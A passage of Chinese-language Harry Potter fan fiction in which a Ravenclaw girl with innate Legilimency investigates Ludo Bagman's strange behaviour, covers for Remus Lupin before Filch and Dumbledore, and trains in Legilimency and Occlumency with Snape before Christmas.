“嘿!说起来,我想起一件事:你有没有去巴格曼那里下注?”
“下注?巴格曼?谁啊?”
因为熟悉的名字,罗萨利亚在一片尖叫声中捕捉到了这段对话:
“卢多维克·巴格曼,赫奇帕奇的那位!他刚进学校就开始帮着高年级的学生在新生里宣传魁地奇赌局了。”
“……难以置信。所以一共有多少人下注了?”
“没多少,因为他很快就不提这事儿了,还整天鬼鬼祟祟的——这才是我担心的,我怀疑他已经把那些银西可私吞了。”
“倏——”
又是一声哨响。
霍琦夫人用嘹亮的嗓音高呼道:“赫奇帕奇——犯规——”
14. 贼船
【摄神取念。】
罗萨利亚默念着,闭上了眼睛。她在拉文克劳看台上的人群中间翻找和卢多·巴格曼有关的记忆,很快就搜罗来了一堆。
那几个学生的对话内容不假。刚开学时,巴格曼确实花言巧语地宣传过魁地奇赌注——她在赫奇帕奇餐桌上吃饭时还隐约听到过,只是没有细听。
然而,没过几天,巴格曼就像是在哪儿丢一大笔金加隆那样变得失魂落魄起来——不再上课玩巫师扑克牌、不再提魁地奇比赛和赌注,只一味地跑到图书馆闲逛,从她摄神取念对象的记忆可以得知,他从前完全不会光顾这种地方……(1)
这么一想,卢多·巴格曼似乎很早就不太对劲了。罗萨利亚在巴格曼没有主动寻找他的巫师扑克牌时就感到奇怪。又因为一直在赫奇帕奇餐桌上吃饭,很早就注意到他常常缺席这件事。但这些在当时都没有被她放在心上。
一个人,短时间内出现这么多异常举动……难道,卢多·巴格曼是中了什么魔咒?
罗萨利亚想到了什么,立刻举起望远镜去看对面的赫奇帕奇看台——果然。
如果巴格曼真的一切正常,又怎么会不来球场观看魁地奇比赛呢?他应该是个狂热粉丝啊。
罗萨利亚不禁悲观地想:这个意志薄弱的小赌徒,会不会是被夺魂咒控制了?如果是的话,那么控制他的人——无论对方想干什么——会放过现在这个近乎全校都聚在教学楼外面的时刻吗?
罗萨利亚从拉文克劳看台上站了起来。
反正换作是她,她不会。
然而,才下了几阶楼梯,她又很快停下了。看台柱子中间的过道昏暗狭窄,外面人声鼎沸。罗萨利亚望着脚下通往宽阔草地的台阶,有点茫然。
……自己刚才这是在干什么?她为什么产生了要管这事儿的想法?
罗萨利亚往后退了一步,却没有转身。因为,另一个声音很快从她脑海中响起了:
但是卢多·巴格曼也算《火焰杯》里的一个重要配角吧,他怎么说也会在未来给哈利帮点“小忙”……万一真出意外了怎么办?
这么想着,罗萨利亚又握紧了袖子中的魔杖,重新迈动脚步。
自己就帮忙确认一下他的安全,应该不会有什么事——她“腾”地一脚迈到了草地上。
临走前,罗萨利亚回望一眼斯莱特林看台,思忖了几秒,心道:算了,她还是单独行动吧,毕竟也没法解释摄神取念的事。而且,这个时期的斯莱特林大多不是省油的灯,她怕此刻主谋就在他们中间。再说了……从斯内普的人际关系网络来看,他也并不适合趟这浑水。
这么想着,她跑动起来,没有再回头。
魁地奇比赛期间的霍格沃茨,空旷安静得让人联想到教堂和博物馆。
关于这次如何行动,罗萨利亚在出发前就已经想好了。她还没有莽撞到觉得靠自己一个人就能“抓”住幕后之人,但是她有迂回之术。
她打算利用一下皮皮鬼——万圣节这段时间,它最喜欢藏在礼堂附近的大南瓜里吓唬进出的学生——她可以故意惹惹它,再闹到邓布利多校长那里去,最后再“不经意”提到巴格曼的事情。
这样应该就行了。谎言不需要天衣无缝,无法被确定就足够了。哪怕要被扣分也无所谓,大不了以后再赚回来。幸运的话,邓布利多会心领神会地开始搜索巴格曼的下落。要是运气不好——那她也没办法了。
罗萨利亚轻手轻脚地在走廊上跑着,下一个拐角就是礼堂。她刚打算换个角度试探对面是否有人,一挪步,却踢到一个热乎乎、毛茸茸的东西。
啊啊啊!罗萨利亚跳起来了。天知道她花了多大力气才憋住嗓子眼儿里的尖叫。
“哈——喵!喵喵!”
又是猫!
但这不是普通的猫。罗萨利亚定睛一看——是两个拳头大小的洛丽丝小姐——这是还在喝奶就开始上岗上工,帮她的主人管理员费尔奇抓违规的学生了吗?
是了,费尔奇奉邓布利多的命令,加强了对学校的巡逻,说是为了抓到偷禁书的贼,看来洛丽丝小姐也跟着加班了——
等等。
禁书?
图书馆?
……卢多·巴格曼?
罗萨利亚隐隐有种不好的预感。难道,巴格曼和禁书的事情有关吗……她低头看了一眼脚边的洛丽丝小姐,情不自禁后退几步。
不行,她得先躲起来。费尔奇马上就会来了。罗萨利亚用漂浮咒把洛丽丝小姐放进了旁边的南瓜堆里,撒开腿更换了方向朝楼上跑去。果然,还没等她找地方藏起来,一个瘦削的男人就从另一个方向跑了过来。
“出来,我看到你了!哈!你这个小贼——”
听得出来,费尔奇一定在狞笑。
“喵!喵!”好不容易从南瓜堆里爬出来的洛丽丝小姐也奶声奶气地叫着。
“哦亲爱的——快到我这来——小贼,出来!”
罗萨利亚蹲下身体,一边利用高低视角盲区小心地挪动,一边对墙壁上的画像比着“嘘”的手势。
“还在躲什么!你跑不掉——抓到你了!”突然,费尔奇大喝一声:“格兰芬多!果然是格兰芬多!”
格兰芬多?哪个格兰芬多会在这时候出没城堡?罗萨利亚没敢轻易松掉口中憋着的那股气,她静静聆听着后续。
“啊哈……马尔福先生说的果然没错,格兰芬多的学生总爱鬼鬼祟祟,禁书说不定就是你们偷的——看来果真不假!”费尔奇幸灾乐祸地说:“你不去看魁地奇比赛却在这里闲逛,我要告诉你们院长——不!我要告诉校长!”
“书不是我偷的。”
罗萨利亚听到一个声音轻而镇定地反驳。
“我可以去见邓布利多校长,但你不能污蔑是格兰芬多的人偷的禁书。你也没有证据。”
嘶……而且还挺耳熟的。
她偷偷把头探出去一点,终于看见了那个被费尔奇揪住的人——竟然是莱姆斯·卢平。
可怜的卢平,此刻手腕上还裹着新鲜的纱布。
罗萨利亚立刻想明白了——要怪就怪其他人都在魁地奇场地的这个时机太好了,恐怕不久前才经历过满月变身的卢平也想趁机不引人注意地返回格兰芬多休息室,只是刚好被她连累了。
“污蔑?”费尔奇的声音尖锐起来:“你叫什么名字?”
“……莱姆斯·卢平。”
“卢平先生,你解释解释吧!你刚刚去了哪里?你这一身伤从哪儿来的?在禁林里摔倒了吗?”费尔奇恶意地说。可罗萨利亚听着,却忽然想到了一个主意。
“我……”
“说不出来了吧?”
“费尔奇先生!”她喊了一声。
费尔奇和卢平把头抬了起来,洛丽丝小姐更是站起身子在原地转了两圈,不断发出“喵喵”的尖叫。
罗萨利亚扶着楼梯缓步走下来:“好吧,我觉得不能继续让莱姆斯一个人承担这一切了,费尔奇先生。”
费尔奇呲牙道:“一个拉文克劳!”
罗萨利亚道:“费尔奇先生,你不用大惊小怪。刚才莱姆斯和我都在运动场上看魁地奇呢,莱姆斯是陪我回来的。”
费尔奇上前两步:“那你回来干什么?”
“我回来上厕所,运动场上的厕所在排长队。”
“那你又想怎么解释他身上的伤口呢?而且他一个格兰芬多,又为什么陪你一起?”
“他身上的伤是皮皮鬼干的,你知道万圣节前后皮皮鬼干的坏事有多恶劣。至于他为什么和我在一起……”
“哦费尔奇先生,”罗萨利亚摇摇头,露出一个“接下来我要说的话不会让你好受了”的表情,“很明显,我在和莱姆斯偷偷约会呢!他不陪我还要陪谁?陪枯燥的书本和寂静的走廊吗?你肯定不会懂了。”
卢平的蓝眼睛都睁大了,但他总不能在这时候拆罗萨利亚的戏台,所以只能在费尔奇背后默默地盯着她。
“我?我肯定不懂?”费尔奇先生脸上的刻薄都消失了。可他只是茫然了一瞬间,紧接着又恼羞成怒地叫道:“不管我懂不懂——你们俩今天都要跟我去见邓布利多校长——”
……
“蜂蜜蛋糕。”
语毕,邓布利多办公室入口处的石兽缓缓让出螺旋楼梯。
在费尔奇抱着洛丽丝小姐义愤填膺地向邓布利多讲述刚才发生的事的同时,卢平一直在偷瞥罗萨利亚。
罗萨利亚当然知道他肯定有一肚子的困惑不解,但无论如何,他已经上了自己这条贼船了。
“就是这样。”费尔奇先生呼哧呼哧地停止了唾沫飞溅。他看了看邓布利多又瞧了瞧罗萨利亚,用脸上的肉自豪地抖出几个大字:等着倒霉吧。
“那么,”邓布利多双手交握,“你们二位,有什么要为自己辩解的吗?”
卢平没有第一时间说话,他显然在等罗萨利
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亚的动作。而后者也没让他失望,坦坦荡荡地开口说道:“除了我们俩都没有偷禁书这件事外,其他的都没有什么要辩解的,邓布利多教授。但是,您看莱姆斯受的伤,皮皮鬼也太过分了!”
“你更担心莱姆斯的伤?”邓布利多微笑着看了一眼卢平。
“是啊,教授,这肯定不是皮皮鬼第一次这么干了,是不是莱姆斯?”
卢平:“呃……是……”
罗萨利亚继续说:“不只是莱姆斯,还有我,还有赫奇帕奇的卢多维克·巴格曼,我们都遭殃了,不信的话,您可以现在去找卢多证实此事。比起我们,卢多惨多了。天知道他是怎么被皮皮鬼捉弄的,这些天一直意志消沉,简直像变了一个人似的,眼神空洞、每天失魂落魄的、也不搭理别人——”
“嘿,你到底在说什么呢?这和今天的事有关系吗?”费尔奇的金鱼眼瞪得老大。
罗萨利亚顺势说道:“当然有关系,今天,卢多连他最爱的魁地奇都没去看,还说什么宁可呆在图书馆里看书——教授,您知道这是多糟糕的心理问题了吧。”
当然,也可能是很拙劣的夺魂咒。但这句话她就没说出来了。
“是吗?”邓布利多看上去很关心此事:“费尔奇先生,我想,你是时候去看看巴格曼先生有没有遭受皮皮鬼的欺凌了。”
“什么?”费尔奇没有反应过来:“就为了一只鬼魂?”
“是为了一个学生。”邓布利多纠正道:“至于皮皮鬼,你以后会明白的,费尔奇先生,去看一眼吧,如果巴格曼先生待在赫奇帕奇休息室,那我们就能放心了。要是他正在图书馆里、或者在城堡里散心,你就把他带过来,好吗?”他解释完,又补充道:“我建议你叫上弗立维教授和斯普劳特教授一起行动——但不必打扰麦格教授,就让她多看一会儿魁地奇吧。”
“好吧,校长……”没有听到邓布利多对两个小孩的惩罚,费尔奇说话这话后,脚底板也还在地上不舍地摩擦。然而邓布利多坚持目送他离开,费尔奇只好带着洛丽丝小姐愤愤地关上了办公室大门。
“好了,那么现在,就剩我们三个了。”邓布利多把半月形眼镜摘了下来,说道:“拉文谢德小姐,我想知道,你是什么时候……”
就在罗萨利亚准备接受盘问时,却听到邓布利多的话语拐了个弯,似笑非笑地说:“什么时候和卢平先生成为——好朋友的?”
“呃,”罗萨利亚眨眨眼,“教授,您肯定看出来了,我扯了个谎,不然费尔奇先生要揪着莱姆斯不放了。”
“可你就不怕卢平先生真的是偷走禁书的人吗?万一他此刻出现在校内是想故技重施呢?”
“莱姆斯是我的魔药课搭档,也是我的朋友,教授。我觉得他是个值得信任的好人。”罗萨利亚解释道:“而且,他现在不是站到您面前了吗?”
卢平站在旁边默默地看着她,那双蓝眼睛轻轻颤动。
“那你为什么又怀疑巴格曼先生呢?”邓布利多徐徐问道。
罗萨利亚面不改色地说:“教授,我提到卢多,是因为关心他,不是怀疑他呀。刚开学那会儿,我就从皮皮鬼手里捡到了卢多的巫师扑克牌,那时起我就注意到他了——他不找自己丢失的东西,这倒是有点奇怪。但我觉得,不论怎样,卢多并没有理由去偷禁书呀?”
虽然巴格曼没有。但控制巴格曼的人就不一定了。
“好吧。”邓布利多说道:“你对同学的关心令我欣慰,拉文谢德小姐,而且你帮了我一个大忙。”
“一个大忙?”
“是的。实际上——我想也没有什么不能说的——禁书区并没有丢掉什么书。”邓布利多重新戴上眼镜,说道:“平斯夫人不久前核查完了全部书籍,发现什么也没少——可书架上确实突兀地空出了一小格位置。”
“我和平斯夫人都无法确定那多出来又消失的东西具体是什么,只是推测,它也许是被某位学生或者教授藏在那里的,而且是很隐蔽地藏了相当长的一段时间——它极可能不属于在校的师生。”
罗萨利亚这回是真的有些惊讶了。
“所以我猜想,此次失窃是有人在借助学生的手拿回自己曾经放在禁书区的东西。”邓布利多语气平和又轻快,仿佛他只是在谈论蜂蜜蛋糕的味道,“因此,当你提到巴格曼先生的反常行为时,我第一时间就想到了这件事。”
“或许,拉文谢德小姐,你还有什么事愿意告诉我吗?”
15. 摄神取念
当邓布利多问出这句话时,罗萨利亚感觉自己站在了某个天秤之上。
她非常清楚,以邓布利多的为人,是不会轻易对一个学生使用摄神取念的:一方面,孩子的所思所想基本都会在面上显露出来;另一方面,他本人拥有的阅历和洞察力就是最好的摄神取念术。
而这恰恰成为了她敢在一位超级巫师前班门弄斧的底气。
可聪明人讲话就如同打台球,在瞄准目标的同时,也会计算白球此去会打出多少声响、造成多少轨道的变动。此时此刻,邓布利多既是真的在向罗萨利亚询问她是否还掌握其他线索,也在利用这个问题衡量她掌握了多少信息、抱有什么目的、坚持怎样的立场,以及会做出怎样的选择。
只要罗萨利亚开口,就一定会暴露自己的一部分。
这个时候,她决定拿出些诚意来。
“有的,校长。”罗萨利亚作沉思状点头:“按照您的意思,如果卢多真和禁书失窃的事儿有关,那么他这段时间的异常,很可能不是因为皮皮鬼,而是因为受人威胁了。那么,我觉得有一个信息可能会帮到您。”
邓布利多微笑着:“我正洗耳恭听,小姐。”
“我觉得威胁他的,很可能是高年级的学生。”罗萨利亚先说出自己的结论,随后解释道:“我听同学说过,卢多曾帮着高年级学生鼓动新生参加魁地奇赌局——您说,会不会是他欠了什么赌债,才不得已帮高年级学生办事?”
“或者,”旁听的卢平忽然开口,“也有可能,他在接触高年级学生时被什么魔咒操控了?毕竟你刚才提到他像变了一个人。”
他正好把罗萨利亚想说但顾虑的话讲了出来。罗萨利亚便点点头,接着道:“对——你说的有道理,只是受威胁的话,他不至于变成那样。”
卢平仿佛受到鼓舞,又道:“还有,教授刚才说丢掉的东西很可能不属于在校师生,那为什么又有高年级学生在寻找它呢?这似乎说不通。而且……为什么是卢多·巴格曼呢?”
罗萨利亚做出思索的模样,说道:“嗯……有可能……它是高年级学生的亲眷或好朋友曾经留下的?我是说——也许还有人在指使高年级学生?至于为什么是卢多……”
有可能是因为他倒霉,还很好控制吧。她心里这么想着,嘴上却说:“我觉得,既然一个东西被藏到了禁书区,还藏了很多年,那多半是见不得人的危险物品。要是暴露了,拿着它的人肯定会被问责。所以幕后之人才想利用其他人——比如不起眼的卢多——来做这件事,而不是亲自动手。”
“为了避免嫌疑?”
“也可能是为了不被扣掉一百个学院分。”
“非常精彩的推理。”邓布利多轻轻鼓掌,说道:“如果这是在课堂上,你们一定能为各自的学院赢得不少学院分。”
“不过,我需要强调的是,这里是霍格沃茨,我和全体老师都不会让学生们身处危险之中。请你们相信这一点。”邓布利多站起来,他那紫色的堆满繁星的袍子垂在地上。
他走上前拍了拍二人的肩膀,说道:“今天的事,还请你们保密。现在有了你们的帮助,我相信真相很快会水落石出。”
……
卢平和罗萨利亚并肩走出了校长办公室。
“嗯……所以你现在是要回格兰芬多休息室呢?还是去看魁地奇?”罗萨利亚主动挑起话题问道。
卢平垂着眼睛眨了眨,说道:“我……回格兰芬多休息室吧。你要回去看魁地奇了吗?”
罗萨利亚抬眼望向钟表:“已经这个时间了,我还是回拉文克劳休息室吧。”
“嗯。”卢平的声音很轻,他冲着罗萨利亚飞快地笑了一下,仿佛生怕被她看清似的。他道:“我送你回去吧,毕竟现在……可能会不太安全。两个人好应付一些。”
“拉文克劳休息室很高的,你……不要紧吗?”罗萨利亚倒是不会拒绝这样的好意,但她确实比较担心卢平的身体状态。
“只是一点跌伤罢了,不要紧的。”卢平道:“就当我是为了感谢你当时替我解围。”
“呃……其实……”罗萨利亚一边挪动脚步一边说:“我觉得反而是我害了你。”
卢平跟着她往楼上走去:“为什么这么说?”
“因为最先撞上洛丽丝夫人的是我。我当时被吓到了,脑子一片空白,撒腿就跑了。现在想想也不知道自己在心虚什么……”
“这也不能怪你,毕竟费尔奇先生确实有些可怕。”
“所以在楼上听到费尔奇先生逼问你的时候,我就知道你只是被我牵连了。”罗萨利亚说:“对了,我那时候说的话,希望没有冒犯你。”
“没有,怎么会。”卢平说道:“我反而觉得你的办法很好,尤其是——你暗示费尔奇先生只能陪着书本和走廊那一段。说得好极了,他那时可真气坏了。”
“哇,莱姆斯,”罗萨利亚笑着摇头,意味深长地说,“你不像你看起来那样温顺,是不是?”
“我一直以为,我是个谐星角色?”
“不会吧……为什么这么想?”
“我感觉我还挺擅长冷幽默的,詹姆和西里斯都这么说。”
……
或许是因为路上有人作陪,去往拉文克劳休息室的路变得短促起来。二人很快就来到了木门前。
卢平打量着鹰状的青铜门环,发出一声感叹:“我还是第一次到拉文克劳休息室门前。”
罗萨利亚叩响大门,转头对卢平说:“我觉得拉文克劳休息室应该是所有学院休息室中最好进的一个。”
鹰嘴缓缓开口:“谎言与真相,哪一个更伤人?”
“喔……听起来像是在唱歌。”卢平评价道。
“没错。”罗萨利亚说:“接下来你只要回答问题就能进去了。”
“……这问题有固定答案吗?”
“没有。”
卢平面露疑色:“你觉得这个是最好进的?”
罗萨利亚点点头:“是啊,这不比背口令简单。”
卢平低下头笑了,叹道:“拉文克劳啊……”
“答案取决于真相和谎言哪一个更契合聆听者的期待。”罗萨利亚对鹰首说:“聆听者不想听到的,就是更伤人的那个。”
“不错的回答。”大门缓缓打开了。
“那么,我先回去了,莱姆斯。你自己也小心一点。”罗萨利亚朝卢平挥挥手。
卢平站在原地,也学她的样子抬起手挥了挥:“好的,下次见,罗萨利亚。”
搞定了一件大事!
大门关上后,罗萨利亚心情愉悦地蹦了两步,嘴上忍不住哼起了万圣节期间经常听到的小调。
接下来几天就可以心安理得地观赏魁地奇比赛了。
等会儿干点什么呢?
“嘎——”
嗯……嗯对了,她还没投喂穆宁……
“罗
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、萨、莉、亚?”
冷不丁的一声呼唤,令罗萨利亚差点踩到地上散落的水晶球。
她惊愕地看着坐在休息室沙发上手捧典籍、皱眉盯着自己的人。
“……西弗勒斯?”罗萨利亚以为自己出现幻觉了。
“……我希望你不是中一忘皆空了。”斯内普问。他手中的书已经翻了三分之一,肩头上还落着自己的渡鸦。
“你怎么在这里?”
“你从看台上下来后没有回休息室,跑去哪儿了?”
“什么?”罗萨利亚懵了:“我还想问你呢?”
斯内普合上那本厚重的典籍,渡鸦穆宁顺势从他肩头跳到旁边。罗萨利亚本以为他还会再会说点什么,谁知对方起身便往外走——就好像他在这里待到现在只是为了看她一眼、再问两个不在乎答案的问题。
仅仅如此吗?
不,一定有别的原因。
“西弗勒斯。”罗萨利亚在开口喊他的同时抓住了自己脑子里一闪而过的想法:“等一下,你是不是知道什么?你等等——”
她直接抓住了斯内普的手。
下一秒,一段画面不可阻挡地钻进罗萨利亚脑中。
那是前天他们在格兰芬多休息室分别之后的事:
斯莱特林休息室的角落,一个金发少女正对卢修斯说着什么,她的声音越来越清晰:“……这就是我姐姐的意思。”
卢修斯看起来有点为难:“纳西莎,一旦被发现……”
纳西莎低语:“……趁着魁地奇……如果能拿到手……”
忽然,卢修斯朝她看了过来——或者说,是朝斯内普看了过来:“西弗勒斯?这么晚了,你才回来?”
纳西莎往后推了一步,和卢修斯拉开了距离——
“罗萨利亚。”
罗萨利亚的意识重新回笼,她尚有些晃神地望向斯内普。而后者正用一种不可思议的眼神看着她。
“你刚才对我做了什么?”斯内普的声音又低又快。
罗萨利亚猛地撒开他的手,一时间失语了。
……自己怎么用了摄神取念——她几乎立刻就恼了:这该死的不受控制的能力!
斯内普凑近她,声音如同耳语:“你对我用了摄神取念?”他问。
“我……”
“难道,你是天生的摄神取念者吗?”斯内普又问。
……很好。他真的能感觉到。不但感觉得到,他的思维和直觉还又快又准。
罗萨利亚在心底暗骂了一句。
谈到摄神取念,就很难不联想到大脑封闭术。对于斯内普,罗萨利亚其实早有防范之心——她推测,斯内普能成为顶尖的大脑封闭术大师,除了后天的大量练习,他本身可能就具有出色的防御天赋。
所以,她从一开始就打定主意,哪怕她的天赋能使她在摄神取念时很难被人察觉,也绝不会轻易对斯内普使用,万一他能感觉到呢?
这下好了。
她当时到底为什么要从拉文克劳看台上下来?
“罗萨利亚。”斯内普再次喊了她一声。
继续说呀,光喊她名字有什么用?什么盘问、生气也好,随便吧,说点什么!
罗萨利亚自暴自弃地心想。
如她所愿,斯内普开口了。可他的声音比羽毛还轻。他耐心地强调:
“除我以外,不要让任何人知道你是天生的摄神取念者,明白吗?”
16. 大脑封闭术
“什么……?”
“还有其他人知道吗?罗萨利亚,回答我。”
“……没有了。”
“很好。”
斯内普放开了罗萨利亚的手,说道:“你用摄神取念看到了多少?”
不知怎么,罗萨利亚因为斯内普刚才那一串轻声询问平静了下来。她瞥开视线,坐到沙发上去,把自己看到的内容复述了一遍:“就这些。”
斯内普闻言,却皱起了眉头:“据我所知,摄神取念是对感觉和记忆的提取,可你的描述,却像亲身经历过一样。”他用手指摩挲嘴唇,似乎在思索摄神取念天赋和摄神取念术在这方面存在什么差异。
“只有极少人天生具备摄神取念的能力,但他们常常无法控制摄神取念的对象,”他走到她身边站定,沉思着,“你似乎可以。”
罗萨利亚不以为然,说:“绝大部分人被我们这种人摄神取念时也不会察觉到什么,但你就能。”
斯内普点头道:“这说明我在抵御摄神取念这方面很有天赋。”
……他还真是一点也不谦虚。罗萨利亚心想。
不过——好吧,以他年纪轻轻的知识储备,自信也是有资本的,何况他说的还是实话。
“我想问你,”斯内普带着一丝探究说道,“你之前,经常对别人用摄神取念吗?你会研究别人的头脑吗?”
罗萨利亚回答道:“几乎不。我感觉不是很礼貌。”
斯内普看着罗萨利亚,就好像无法理解她在说什么:“你有这样的能力,却只关心它礼不礼貌?”
罗萨利亚一脸的无所谓:“哦,或许这就是我能控制得住的原因,西弗勒斯。”
闻言,斯内普仿佛得到某种启发般,眼睛闪过微光。
不知道他又产生了什么联想……但罗萨利亚当下还有更关注的事:“所以,你后面怎么应对马尔福的?”
斯内普回答道:“你又忘了,罗萨利亚。我是斯莱特林学院的人,我不需要应对他。”
“那你没有参与这件事吧?”罗萨利亚直截了当地说:“我发现了一些异常,已经转达给邓布利多了。”
斯内普显然明白她在说什么。他道:“你摄神取念看到的,就是我知道的全部了。我只是推测到他们今天会趁着魁地奇比赛在校内干点什么。你发现的又是什么?”
像交换情报那样,罗萨利亚简单复述了整件事,她说:“现在看来,这件事的走向只有两种可能:要么,被控制的卢多·巴格曼成功把东西转交给了卢修斯或者纳西莎,整个事不了了之;要么,这东西很快就会出现在邓布利多校长的办公桌上——你不许说出去,也别让自己搅进去,否则我就用摄神取念把你从出生到现在的全部经历都看一遍。”
“……很好,罗萨利亚——你放心吧,我会守口如瓶。”斯内普冷笑一声:“而且,就算我想参与也没有这个机会,但或许一两年后会有所不同。”
“你也‘很好’,知道我不会像莉莉那样反对你,就连这种话也跟我说?”罗萨利亚反唇相讥。
然而,听完她的讽刺,斯内普却笑了。罗萨利亚看得出他是真的在高兴。
“……西弗勒斯·斯内普,你到底在得意什么啊?”她忍不住了。
“罗萨,”斯内普在她身边坐下了,说道,“你想和我一起练习摄神取念和大脑封闭术吗?”
“……想。”
……
当天晚上,等所有人从球场回到礼堂用餐的时候,邓布利多趁机宣布了一则好消息:
他宣称已经找到了禁书区丢失的物品,并澄清那并不是一本禁书,还为这件事引起的种种议论向大家道了歉——其实他也不用抱歉,没几个人的心思在这件事上。
但消息的效果是立竿见影的。第二天一早,卢多·巴格曼就已恢复了正常。他在赫奇帕奇的餐桌上痛哭流涕、捶胸顿足,说自己怎么会对魁地奇开场比赛一点印象都没有——因此在其他人眼里他实际上是疯了。
卢平告诉罗萨利亚,这其实是邓布利多为了保护巴格曼的安全而放出的假消息。他们能确定的是,因为昨天临时加强的巡逻,控制巴格曼的人大概率没有得逞。而为了进一步打乱对方的计划、终止幕后之人对巴格曼的控制,邓布利多才采用了这种以假乱真的策略。
然而,坏消息是,斯普劳特教授趁着第二天的魁地奇比赛,秘密搜索了赫奇帕奇一年级新生宿舍——一无所获。
不过邓布利多并不对此持悲观态度,只是表示可以先按兵不动。
事实证明,他老人家又一次对了。
斯内普隔天就给罗萨利亚带来了新的消息:卢修斯和纳西莎这几天的状态都不太好,甚至还差点在公共休息室吵起来。
这样看来,至少东西也应该没到他们手上。
一直到秋季魁地奇比赛结束,两边都没有找到那个价值一百学院分的物品。这件事仿佛就这样淡出了所有人的视野。
这段时间,罗萨利亚和斯内普把原本在图书馆自习的行程改成了在室外进行的摄神取念与大脑封闭(L&O)练习,地点选在打人柳附近。毕竟,除了卢平和庞弗雷夫人,几乎没有人会去那里。罗萨利亚只要提议把满月前后那几天定为每个月的固定休息日,就能与他们的行程完美错开。
当然,两人对练时也并不是脑袋敞开了让对方在里面跳舞。斯内普尤其在乎这一点。他列的“允许R.R.摄神取念”清单,甚至还没有罗萨利亚列给他的“禁止S.S.摄神取念”清单要长——这倒省了些背诵清单条目的功夫——他给的理由是:“你的摄神取念太容易看到不该看的了。”
斯内普确实没说错。
尽管绝大多数时候,罗萨利亚能控制住摄神取念的开关,可一旦开始施展,就容易把别人的脑子当成冥想盆那样窥探——准确来说也没有别人,就是斯内普。他警惕点再正常不过了,毕竟,他在这场训练中几乎是弱势的。
不过,偶尔罗萨利亚也会吃自己能力的亏,比如,她翻到过斯内普那天说的卢修斯和纳西莎差点吵起来的事情……
记忆里。斯莱特林休息室内。角落的帷幔被人撩了起来。纳西莎一出现便阴着脸径直返回宿舍,追在她后面出来的还有卢修斯。
卢修斯明显是想说点什么,但一扭头就看见了斯内普。一时间,他的表情没能变成和蔼可亲的模样,甚至说话时带了些咬牙切齿的意味:“晚上好,西弗勒斯,又是你——”
斯内普开口直接问:“你们
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俩又吵架了?”
卢修斯连着干咳好几声:“没有——没这回事。哦对了——”忽然,他似乎想起了什么,神色舒展开了,说道:“我突然想起来一件事,有关拉文谢德小姐。”
斯内普问:“什么事情?”
卢修斯显得有点过于幸灾乐祸了:“费尔奇告诉我,她正在和格兰芬多的一个叫莱姆斯·卢平的家伙谈恋爱!你知道这回事的吗?”
听完这话,罗萨利亚直接结束了摄神取念。
她尴尬地看着斯内普,有太多话想解释了,连手中的魔杖都开始在空中比划,说:“要不、你自己、摄神取念我、看看前因后果——不是,他为什么看起来是在跟你告状啊?”
“因为他知道我母亲在监护你。”此刻,斯内普脸上没有一点被冒犯的表情,他显然在欣赏罗萨利亚的自讨苦吃。不过他又说道:“但我没信马尔福说的话,他都不想想你除了上课都在哪待着。”
那当然是——
图书馆和爬楼途中。罗萨利亚平静地心想。
这么说来,陪着枯燥书本和寂静走廊的人,好像是她自己啊,哈哈、哈哈。
当然啦,大部分时候,吃亏的还是斯内普。
他有太多事想要保密了,有时候反而适得其反地激起了罗萨利亚的探究本能——比如他与莉莉相识前躲在灌木丛里观察对方的经历,她一不留神就探了进去。
斯内普反应可真快啊,罗萨利亚都没来得及多看两眼,就被他用大脑封闭术踢了出去。他咬牙切齿地说道:“罗萨利亚,管好你的摄神取念!不然我也会看你来蜘蛛尾巷前的记忆!”
因为是被迫中止,罗萨利亚整个人都有些发懵。这感觉可太难受了,天旋地转的,于是她报复般、理不直气也壮地说:“你这么急干什么,你怕我知道你喜欢莉莉啊?”
果然,斯内普大叫起来:“我没有喜——你摄神取念的时候明明能感觉出来那不是——”
这倒是真的……可能是年纪还小吧。不过罗萨利亚不想轻易放过他,不依不饶地说:“那为什么不让我接着看了?”
结果斯内普却绷着脸,声音低了下来道:“因为后面佩妮说了难听的话……我也——我也说了。”
罗萨利亚讶然。她没想到的是斯内普居然还会承认后半句话——他当时蔑视佩妮是个麻瓜。
……也许暑假那次和莉莉的争吵,确实对他产生了一些影响吗?
“我只是不想提。”斯内普又补充道。
罗萨利亚“哦”了一声,适可而止地把这件事翻篇了。
总之,两人就这么你来我往、手放在对方裤腰带上对练了一个多个月。等时间来到十二月中旬时,罗萨利亚和斯内普就已经从“每次互相摄神取念完对着干呕半小时”练到“随时随地把对方从自己的大脑丢出去”的水平了。
这段时间,莉莉也经常加入他们,但只是和他们一起练习黑魔法防御课的实战内容——罗萨利亚本来觉得事已至此,把自己天生会摄神取念的事告诉莉莉也没什么,但斯内普反对了这个提议。他说,魁地奇比赛过后,莉莉和詹姆、小天狼星等人走得越来越近了。
终于,几场纷纷扬扬的大雪过后,霍格沃茨的圣诞假期提上了日程。
17. 圣诞快乐
冬青树与槲寄生挂满了墙壁。十来棵冷杉树被海格逐一抱进礼堂,弗立维教授装饰它们的时候,罗萨利亚还在旁边帮了些小忙。
斯拉格霍恩正忙着派发他的鼻涕虫俱乐部圣诞晚会请柬,大部分收到邀请的对象都是五六年级的学生——他倒是很想给莉莉也发一张邀请,但莉莉毕竟才上一年级,把她拉进俱乐部的计划还得滞后几年——当然,目前为止他还一点儿没问莉莉的意见。
至于莉莉本人,她打算这个假期回科克沃斯和父母及姐姐佩妮一起过圣诞,所以只能依依不舍地与签署了留校申请的罗萨利亚和斯内普告别,坐上了回程的蒸汽火车。
跟她一路的还有詹姆、小天狼星、彼得和卢平——简而言之,一年级最闹腾的一伙人全都回家了。麦格教授心满意足地合上名单。
从圣诞节前一个周开始,罗萨利亚就暂停了和斯内普的L&O对练,理由是她正在筹备圣诞礼物,而以她现在的大脑封闭术水平,实在太容易露馅了。
斯内普则从容地表示,就算罗萨利亚对他使用摄神取念,也不会找到有关他准备的礼物的一点蛛丝马迹——他显然没有也不会意识到,对罗萨利亚来说了解到“斯内普还会准备圣诞礼物”这件事本身就已经算是个惊喜了。
不过罗萨利亚下一秒还是说:“如你所愿。”
然后她就立刻钻进斯内普的脑子研究起来。结果,果然如他所说,自己找来找去,只能翻到一大堆魔咒和魔药知识。这显然是斯内普大脑封闭术运转的结果。
不多时,斯内普便耐心有限地把她扔出去了。
那又如何呢。罗萨利亚气呼呼地想。
再神秘的礼物,也终有揭晓的一天。
圣诞节当天,应罗萨利亚的要求,穆宁在她被嘀咕钟嘀嘀咕咕叫醒、朦朦胧胧地从自己的鸟巢里爬起来时,就已经蹲守床边等着她了。
它的爪子下正踩着一个方正的黑色小礼盒,礼盒绿色的绑带上还贴着魔药试剂常用的白色标签。标签上面简短地写着:
【S.S. to R.R.】
罗萨利亚立刻坐直了身子。
